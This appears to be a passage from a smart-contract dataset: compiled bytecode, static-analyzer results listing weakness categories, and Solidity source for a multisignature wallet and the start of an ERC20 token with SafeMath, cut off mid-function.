b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490509392505050565b6000612336826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612f5190919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612443826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461344390919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fd1398bee19313d6bf672ccb116e51f4a1a947e91c757907f51fbb5b5e56c698f8685604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a3600190509392505050565b60006125f6826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612f5190919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061274182600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612f5190919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb85846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156128a157600080fd5b505af11580156128b5573d6000803e3d6000fd5b505050506040513d60208110156128cb57600080fd5b810190808051906020019092919050505015156128e757600080fd5b7ff341246adaac6f497bc2a656f546ab9e182111d630394f0c57c710a59a2cb5678386846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200183815260200182815260200194505050505060405180910390a160019050949350505050565b600080612a5d6040805190810160405280600c81526020017f6b696e675472616e7366657200000000000000000000000000000000000000008152508b8b8b8b8b8b8b611e6c565b9050612a7160018b8b8b8b8b8b888b612f6a565b1515612a7c57600080fd5b612a888a8a8a8a611993565b1515612a9357600080fd5b600191505098975050505050505050565b600080600080612aba8d8d8d8d8d8d8d8d611e6c565b925073f532bd0ef20914ea1f78763f0e22495b326ee3a26319045a2584876040518363ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180836000191660001916815260200180602001828103825283818151815260200191508051906020019080838360005b83811015612b51578082015181840152602081019050612b36565b50505050905090810190601f168015612b7e5780820380516001836020036101000a031916815260200191505b50935050505060206040518083038186803b158015612b9c57600080fd5b505af4158015612bb0573d6000803e3d6000fd5b505050506040513d6020811015612bc657600080fd5b810190808051906020019092919050505091508b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141515612c1357600080fd5b3373ffffffffffffffffffffffffffffffffffffffff168c73ffffffffffffffffffffffffffffffffffffffff16141515612c4d57600080fd5b6002600084600019166000191681526020019081526020016000205490506002806000856000191660001916815260200190815260200160002081905550600081141515612c9a57600080fd5b600193505050509998505050505050505050565b600080612cf66040805190810160405280600a81526020017f616e79417070726f7665000000000000000000000000000000000000000000008152508b8b8b8b8b8b8b611e6c565b9050612d0a60008b8b8b8b8b8b888b612f6a565b1515612d1557600080fd5b600191505098975050505050505050565b600080612d398b8b8b8b8b8b8b8b611e6c565b9150612d448b613461565b9050612d57818b8b8b8b8b8b898b612f6a565b1515612d6257600080fd5b8873ffffffffffffffffffffffffffffffffffffffff16638f4ffcb18b898b8f6040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b83811015612e57578082015181840152602081019050612e3c565b50505050905090810190601f168015612e845780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b158015612ea657600080fd5b505af1158015612eba573d6000803e3d6000fd5b505050505050505050505050505050565b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000828211151515612f5f57fe5b818303905092915050565b600080600073f532bd0ef20914ea1f78763f0e22495b326ee3a26319045a2586866040518363ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180836000191660001916815260200180602001828103825283818151815260200191508051906020019080838360005b83811015613004578082015181840152602081019050612fe9565b50505050905090810190601f1680156130315780820380516001836020036101000a031916815260200191505b50935050505060206040518083038186803b15801561304f57600080fd5b505af4158015613063573d6000803e3d6000fd5b505050506040513d602081101561307957600080fd5b810190808051906020019092919050505091508173ffffffffffffffffffffffffffffffffffffffff168b73ffffffffffffffffffffffffffffffffffffffff161415156130c657600080fd5b6130ce61183c565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415801561310657508b5b1561311057600080fd5b8543111561311d57600080fd5b60026000866000191660001916815260200190815260200160002054905060016002600087600019166000191681526020019081526020016000208190555060008114151561316b57600080fd5b86600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508873ffffffffffffffffffffffffffffffffffffffff168b73ffffffffffffffffffffffffffffffffffffffff167fa0175360a15bca328baf7ea85c7b784d58b222a50d0ce760b10dba336d226a61338a604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a36132ce8b338b8a611993565b15156132d957600080fd5b87600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508873ffffffffffffffffffffffffffffffffffffffff168b73ffffffffffffffffffffffffffffffffffffffff167fa0175360a15bca328baf7ea85c7b784d58b222a50d0ce760b10dba336d226a618c8b604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a36001925050509998505050505050505050565b600080828401905083811015151561345757fe5b8091505092915050565b60006134a2826040805190810160405280600c81526020017f6b696e675472616e736665720000000000000000000000000000000000000000815250613535565b806134e857506134e7826040805190810160405280600c81526020017f6b696e6757697468647261770000000000000000000000000000000000000000815250613535565b5b8061352e575061352d826040805190810160405280600b81526020017f6b696e67417070726f7665000000000000000000000000000000000000000000815250613535565b5b9050919050565b6000808251845114151561354c5760009150613672565b600090505b835181101561366d57828181518110151561356857fe5b9060200101517f010000000000000000000000000000000000000000000000000000000000000090047f0100000000000000000000000000000000000000000000000000000000000000027effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191684828151811015156135e357fe5b9060200101517f010000000000000000000000000000000000000000000000000000000000000090047f0100000000000000000000000000000000000000000000000000000000000000027effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161415156136605760009150613672565b8080600101915050613551565b600191505b50929150505600a165627a7a723058206333d9b35b942ab35ea64749208288253d9c358c86a52618925f8beb67a689880029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 8,494 |
0x126799e70341c54203d241c92c1f511dbe75aded
|
pragma solidity ^0.4.11;
/// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution.
/// @author Stefan George - <<span class="__cf_email__" data-cfemail="6211160704030c4c05070d10050722010d0c11070c111b114c0c0716">[email protected]</span>>
contract MultiSigWallet {
uint constant public MAX_OWNER_COUNT = 50;
event Confirmation(address indexed _sender, uint indexed _transactionId);
event Revocation(address indexed _sender, uint indexed _transactionId);
event Submission(uint indexed _transactionId);
event Execution(uint indexed _transactionId);
event ExecutionFailure(uint indexed _transactionId);
event Deposit(address indexed _sender, uint _value);
event OwnerAddition(address indexed _owner);
event OwnerRemoval(address indexed _owner);
event RequirementChange(uint _required);
mapping (uint => Transaction) public transactions;
mapping (uint => mapping (address => bool)) public confirmations;
mapping (address => bool) public isOwner;
address[] public owners;
uint public required;
uint public transactionCount;
struct Transaction {
address destination;
uint value;
bytes data;
bool executed;
}
modifier onlyWallet() {
if (msg.sender != address(this))
throw;
_;
}
modifier ownerDoesNotExist(address owner) {
if (isOwner[owner])
throw;
_;
}
modifier ownerExists(address owner) {
if (!isOwner[owner])
throw;
_;
}
modifier transactionExists(uint transactionId) {
if (transactions[transactionId].destination == 0)
throw;
_;
}
modifier confirmed(uint transactionId, address owner) {
if (!confirmations[transactionId][owner])
throw;
_;
}
modifier notConfirmed(uint transactionId, address owner) {
if (confirmations[transactionId][owner])
throw;
_;
}
modifier notExecuted(uint transactionId) {
if (transactions[transactionId].executed)
throw;
_;
}
modifier notNull(address _address) {
if (_address == 0)
throw;
_;
}
modifier validRequirement(uint ownerCount, uint _required) {
if ( ownerCount > MAX_OWNER_COUNT
|| _required > ownerCount
|| _required == 0
|| ownerCount == 0)
throw;
_;
}
/// @dev Fallback function allows to deposit ether.
function()
payable
{
if (msg.value > 0)
Deposit(msg.sender, msg.value);
}
/*
* Public functions
*/
/// @dev Contract constructor sets initial owners and required number of confirmations.
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
function MultiSigWallet(address[] _owners, uint _required)
public
validRequirement(_owners.length, _required)
{
for (uint i=0; i<_owners.length; i++) {
if (isOwner[_owners[i]] || _owners[i] == 0)
throw;
isOwner[_owners[i]] = true;
}
owners = _owners;
required = _required;
}
/// @dev Allows to add a new owner. Transaction has to be sent by wallet.
/// @param owner Address of new owner.
function addOwner(address owner)
public
onlyWallet
ownerDoesNotExist(owner)
notNull(owner)
validRequirement(owners.length + 1, required)
{
isOwner[owner] = true;
owners.push(owner);
OwnerAddition(owner);
}
/// @dev Allows to remove an owner. Transaction has to be sent by wallet.
/// @param owner Address of owner.
function removeOwner(address owner)
public
onlyWallet
ownerExists(owner)
{
isOwner[owner] = false;
for (uint i=0; i<owners.length - 1; i++)
if (owners[i] == owner) {
owners[i] = owners[owners.length - 1];
break;
}
owners.length -= 1;
if (required > owners.length)
changeRequirement(owners.length);
OwnerRemoval(owner);
}
/// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet.
/// @param owner Address of owner to be replaced.
/// @param owner Address of new owner.
function replaceOwner(address owner, address newOwner)
public
onlyWallet
ownerExists(owner)
ownerDoesNotExist(newOwner)
{
for (uint i=0; i<owners.length; i++)
if (owners[i] == owner) {
owners[i] = newOwner;
break;
}
isOwner[owner] = false;
isOwner[newOwner] = true;
OwnerRemoval(owner);
OwnerAddition(newOwner);
}
/// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet.
/// @param _required Number of required confirmations.
function changeRequirement(uint _required)
public
onlyWallet
validRequirement(owners.length, _required)
{
required = _required;
RequirementChange(_required);
}
/// @dev Allows an owner to submit and confirm a transaction.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function submitTransaction(address destination, uint value, bytes data)
public
returns (uint transactionId)
{
transactionId = addTransaction(destination, value, data);
confirmTransaction(transactionId);
}
/// @dev Allows an owner to confirm a transaction.
/// @param transactionId Transaction ID.
function confirmTransaction(uint transactionId)
public
ownerExists(msg.sender)
transactionExists(transactionId)
notConfirmed(transactionId, msg.sender)
{
confirmations[transactionId][msg.sender] = true;
Confirmation(msg.sender, transactionId);
executeTransaction(transactionId);
}
/// @dev Allows an owner to revoke a confirmation for a transaction.
/// @param transactionId Transaction ID.
function revokeConfirmation(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
confirmations[transactionId][msg.sender] = false;
Revocation(msg.sender, transactionId);
}
/// @dev Allows anyone to execute a confirmed transaction.
/// @param transactionId Transaction ID.
function executeTransaction(uint transactionId)
public
notExecuted(transactionId)
{
if (isConfirmed(transactionId)) {
Transaction tx = transactions[transactionId];
tx.executed = true;
if (tx.destination.call.value(tx.value)(tx.data))
Execution(transactionId);
else {
ExecutionFailure(transactionId);
tx.executed = false;
}
}
}
/// @dev Returns the confirmation status of a transaction.
/// @param transactionId Transaction ID.
/// @return Confirmation status.
function isConfirmed(uint transactionId)
public
constant
returns (bool)
{
uint count = 0;
for (uint i=0; i<owners.length; i++) {
if (confirmations[transactionId][owners[i]])
count += 1;
if (count == required)
return true;
}
}
/*
* Internal functions
*/
/// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function addTransaction(address destination, uint value, bytes data)
internal
notNull(destination)
returns (uint transactionId)
{
transactionId = transactionCount;
transactions[transactionId] = Transaction({
destination: destination,
value: value,
data: data,
executed: false
});
transactionCount += 1;
Submission(transactionId);
}
/*
* Web3 call functions
*/
/// @dev Returns number of confirmations of a transaction.
/// @param transactionId Transaction ID.
/// @return Number of confirmations.
function getConfirmationCount(uint transactionId)
public
constant
returns (uint count)
{
for (uint i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]])
count += 1;
}
/// @dev Returns total number of transactions after filters are applied.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Total number of transactions after filters are applied.
function getTransactionCount(bool pending, bool executed)
public
constant
returns (uint count)
{
for (uint i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
count += 1;
}
/// @dev Returns list of owners.
/// @return List of owner addresses.
function getOwners()
public
constant
returns (address[])
{
return owners;
}
/// @dev Returns array with owner addresses, which confirmed transaction.
/// @param transactionId Transaction ID.
/// @return Returns array of owner addresses.
function getConfirmations(uint transactionId)
public
constant
returns (address[] _confirmations)
{
address[] memory confirmationsTemp = new address[](owners.length);
uint count = 0;
uint i;
for (i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]]) {
confirmationsTemp[count] = owners[i];
count += 1;
}
_confirmations = new address[](count);
for (i=0; i<count; i++)
_confirmations[i] = confirmationsTemp[i];
}
/// @dev Returns list of transaction IDs in defined range.
/// @param from Index start position of transaction array.
/// @param to Index end position of transaction array.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Returns array of transaction IDs.
function getTransactionIds(uint from, uint to, bool pending, bool executed)
public
constant
returns (uint[] _transactionIds)
{
uint[] memory transactionIdsTemp = new uint[](transactionCount);
uint count = 0;
uint i;
for (i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
{
transactionIdsTemp[count] = i;
count += 1;
}
_transactionIds = new uint[](to - from);
for (i=from; i<to; i++)
_transactionIds[i - from] = transactionIdsTemp[i];
}
}
|
0x6060604052361561011a5763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663025e7c278114610165578063173825d91461019757806320ea8d86146101b85780632f54bf6e146101d05780633411c81c1461020357806354741525146102395780637065cb4814610268578063784547a7146102895780638b51d13f146102b35780639ace38c2146102db578063a0e67e2b1461039a578063a8abe69a14610401578063b5dc40c314610478578063b77bf600146104e2578063ba51a6df14610507578063c01a8c841461051f578063c642747414610537578063d74f8edd146105ae578063dc8452cd146105d3578063e20056e6146105f8578063ee22610b1461061f575b5b60003411156101625733600160a060020a03167fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c3460405190815260200160405180910390a25b5b005b341561017057600080fd5b61017b600435610637565b604051600160a060020a03909116815260200160405180910390f35b34156101a257600080fd5b610162600160a060020a0360043516610669565b005b34156101c357600080fd5b61016260043561081a565b005b34156101db57600080fd5b6101ef600160a060020a03600435166108fc565b604051901515815260200160405180910390f35b341561020e57600080fd5b6101ef600435600160a060020a0360243516610911565b604051901515815260200160405180910390f35b341561024457600080fd5b61025660043515156024351515610931565b60405190815260200160405180910390f35b341561027357600080fd5b610162600160a060020a03600435166109a0565b005b341561029457600080fd5b6101ef600435610ad5565b604051901515815260200160405180910390f35b34156102be57600080fd5b610256600435610b69565b60405190815260200160405180910390f35b34156102e657600080fd5b6102f1600435610be8565b604051600160a060020a03851681526020810184905281151560608201526080604082018181528454600260001961010060018416150201909116049183018290529060a0830190859080156103885780601f1061035d57610100808354040283529160200191610388565b820191906000526020600020905b81548152906001019060200180831161036b57829003601f168201915b50509550505050505060405180910390f35b34156103a557600080fd5b6103ad610c1c565b60405160208082528190810183818151815260200191508051906020019060200280838360005b838110156103ed5780820151818401525b6020016103d4565b505050509050019250505060405180910390f35b341561040c57600080fd5b6103ad60043560243560443515156064351515610c85565b60405160208082528190810183818151815260200191508051906020019060200280838360005b838110156103ed5780820151818401525b6020016103d4565b505050509050019250505060405180910390f35b341561048357600080fd5b6103ad600435610db3565b60405160208082528190810183818151815260200191508051906020019060200280838360005b838110156103ed5780820151818401525b6020016103d4565b505050509050019250505060405180910390f35b34156104ed57600080fd5b610256610f35565b60405190815260200160405180910390f35b341561051257600080fd5b610162600435610f3b565b005b341561052a57600080fd5b610162600435610fc9565b005b341561054257600080fd5b61025660048035600160a060020a03169060248035919060649060443590810190830135806020601f820181900481020160405190810160405281815292919060208401838380828437509496506110bb95505050505050565b60405190815260200160405180910390f35b34156105b957600080fd5b6102566110db565b60405190815260200160405180910390f35b34156105de57600080fd5b6102566110e0565b60405190815260200160405180910390f35b341561060357600080fd5b610162600160a060020a03600435811690602435166110e6565b005b341561062a57600080fd5b6101626004356112a7565b005b600380548290811061064557fe5b906000526020600020900160005b915054906101000a9004600160a060020a031681565b600030600160a060020a031633600160a060020a031614151561068b57600080fd5b600160a060020a038216600090815260026020526040902054829060ff1615156106b457600080fd5b600160a060020a0383166000908152600260205260408120805460ff1916905591505b600354600019018210156107af5782600160a060020a03166003838154811015156106fe57fe5b906000526020600020900160005b9054906101000a9004600160a060020a0316600160a060020a031614156107a35760038054600019810190811061073f57fe5b906000526020600020900160005b9054906101000a9004600160a060020a031660038381548110151561076e57fe5b906000526020600020900160005b6101000a815481600160a060020a030219169083600160a060020a031602179055506107af565b5b6001909101906106d7565b6003805460001901906107c29082611505565b5060035460045411156107db576003546107db90610f3b565b5b82600160a060020a03167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a25b5b505b5050565b33600160a060020a03811660009081526002602052604090205460ff16151561084257600080fd5b600082815260016020908152604080832033600160a060020a038116855292529091205483919060ff16151561087757600080fd5b600084815260208190526040902060030154849060ff161561089857600080fd5b6000858152600160209081526040808320600160a060020a033316808552925291829020805460ff1916905586917ff6a317157440607f36269043eb55f1287a5a19ba2216afeab88cd46cbcfb88e9905160405180910390a35b5b505b50505b5050565b60026020526000908152604090205460ff1681565b600160209081526000928352604080842090915290825290205460ff1681565b6000805b6005548110156109985783801561095e575060008181526020819052604090206003015460ff16155b806109825750828015610982575060008181526020819052604090206003015460ff165b5b1561098f576001820191505b5b600101610935565b5b5092915050565b30600160a060020a031633600160a060020a03161415156109c057600080fd5b600160a060020a038116600090815260026020526040902054819060ff16156109e857600080fd5b81600160a060020a03811615156109fe57600080fd5b6003805490506001016004546032821180610a1857508181115b80610a21575080155b80610a2a575081155b15610a3457600080fd5b600160a060020a0385166000908152600260205260409020805460ff191660019081179091556003805490918101610a6c8382611505565b916000526020600020900160005b8154600160a060020a03808a166101009390930a8381029102199091161790915590507ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25b5b50505b505b505b50565b600080805b600354811015610b615760008481526001602052604081206003805491929184908110610b0357fe5b906000526020600020900160005b9054600160a060020a036101009290920a900416815260208101919091526040016000205460ff1615610b45576001820191505b600454821415610b585760019250610b61565b5b600101610ada565b5b5050919050565b6000805b600354811015610be15760008381526001602052604081206003805491929184908110610b9657fe5b906000526020600020900160005b9054600160a060020a036101009290920a900416815260208101919091526040016000205460ff1615610bd8576001820191505b5b600101610b6d565b5b50919050565b6000602081905290815260409020805460018201546003830154600160a060020a0390921692909160029091019060ff1684565b610c24611559565b6003805480602002602001604051908101604052809291908181526020018280548015610c7a57602002820191906000526020600020905b8154600160a060020a03168152600190910190602001808311610c5c575b505050505090505b90565b610c8d611559565b610c95611559565b600080600554604051805910610ca85750595b908082528060200260200182016040525b50925060009150600090505b600554811015610d4057858015610cee575060008181526020819052604090206003015460ff16155b80610d125750848015610d12575060008181526020819052604090206003015460ff165b5b15610d375780838381518110610d2557fe5b60209081029091010152600191909101905b5b600101610cc5565b878703604051805910610d505750595b908082528060200260200182016040525b5093508790505b86811015610da757828181518110610d7c57fe5b906020019060200201518489830381518110610d9457fe5b602090810290910101525b600101610d68565b5b505050949350505050565b610dbb611559565b610dc3611559565b6003546000908190604051805910610dd85750595b908082528060200260200182016040525b50925060009150600090505b600354811015610ebb5760008581526001602052604081206003805491929184908110610e1e57fe5b906000526020600020900160005b9054600160a060020a036101009290920a900416815260208101919091526040016000205460ff1615610eb2576003805482908110610e6757fe5b906000526020600020900160005b9054906101000a9004600160a060020a0316838381518110610e9357fe5b600160a060020a03909216602092830290910190910152600191909101905b5b600101610df5565b81604051805910610ec95750595b908082528060200260200182016040525b509350600090505b81811015610f2c57828181518110610ef657fe5b90602001906020020151848281518110610f0c57fe5b600160a060020a039092166020928302909101909101525b600101610ee2565b5b505050919050565b60055481565b30600160a060020a031633600160a060020a0316141515610f5b57600080fd5b600354816032821180610f6d57508181115b80610f76575080155b80610f7f575081155b15610f8957600080fd5b60048390557fa3f1ee9126a074d9326c682f561767f710e927faa811f7a99829d49dc421797a8360405190815260200160405180910390a15b5b50505b50565b33600160a060020a03811660009081526002602052604090205460ff161515610ff157600080fd5b6000828152602081905260409020548290600160a060020a0316151561101657600080fd5b600083815260016020908152604080832033600160a060020a038116855292529091205484919060ff161561104a57600080fd5b6000858152600160208181526040808420600160a060020a033316808652925292839020805460ff191690921790915586917f4a504a94899432a9846e1aa406dceb1bcfd538bb839071d49d1e5e23f5be30ef905160405180910390a36108f2856112a7565b5b5b50505b505b5050565b60006110c8848484611406565b90506110d381610fc9565b5b9392505050565b603281565b60045481565b600030600160a060020a031633600160a060020a031614151561110857600080fd5b600160a060020a038316600090815260026020526040902054839060ff16151561113157600080fd5b600160a060020a038316600090815260026020526040902054839060ff161561115957600080fd5b600092505b6003548310156112015784600160a060020a031660038481548110151561118157fe5b906000526020600020900160005b9054906101000a9004600160a060020a0316600160a060020a031614156111f557836003848154811015156111c057fe5b906000526020600020900160005b6101000a815481600160a060020a030219169083600160a060020a03160217905550611201565b5b60019092019161115e565b600160a060020a03808616600081815260026020526040808220805460ff199081169091559388168252908190208054909316600117909255907f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b90905160405180910390a283600160a060020a03167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25b5b505b505b505050565b600081815260208190526040812060030154829060ff16156112c857600080fd5b6112d183610ad5565b15610813576000838152602081905260409081902060038101805460ff19166001908117909155815490820154919450600160a060020a03169160028501905180828054600181600116156101000203166002900480156113735780601f1061134857610100808354040283529160200191611373565b820191906000526020600020905b81548152906001019060200180831161135657829003601f168201915b505091505060006040518083038185876187965a03f192505050156113c457827f33e13ecb54c3076d8e8bb8c2881800a4d972b792045ffae98fdf46df365fed7560405160405180910390a2610813565b827f526441bb6c1aba3c9a4a6ca1d6545da9c2333c8c48343ef398eb858d72b7923660405160405180910390a260038201805460ff191690555b5b5b5b505050565b600083600160a060020a038116151561141e57600080fd5b600554915060806040519081016040908152600160a060020a0387168252602080830187905281830186905260006060840181905285815290819052208151815473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0391909116178155602082015181600101556040820151816002019080516114a992916020019061157d565b506060820151600391909101805460ff191691151591909117905550600580546001019055817fc0ba8fe4b176c1714197d43b9cc6bcf797a4a7461c5fe8d0ef6e184ae7601e5160405160405180910390a25b5b509392505050565b815481835581811511610813576000838152602090206108139181019083016115fc565b5b505050565b815481835581811511610813576000838152602090206108139181019083016115fc565b5b505050565b60206040519081016040526000815290565b60206040519081016040526000815290565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106115be57805160ff19168380011785556115eb565b828001600101855582156115eb579182015b828111156115eb5782518255916020019190600101906115d0565b5b506115f89291506115fc565b5090565b610c8291905b808211156115f85760008155600101611602565b5090565b905600a165627a7a7230582051620165e8a28e353579fa660f49d9ebed0e1ae03684e31ac761109c9710b06f0029
|
{"success": true, "error": null, "results": {}}
| 8,495 |
0x6a8d7d37870CFC7aBf7a316412bab5ed9C3ABA34
|
pragma solidity ^0.4.16;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amout of tokens to be transfered
*/
function transferFrom(address _from, address _to, uint256 _value) returns (bool) {
var _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
balances[_to] = balances[_to].add(_value);
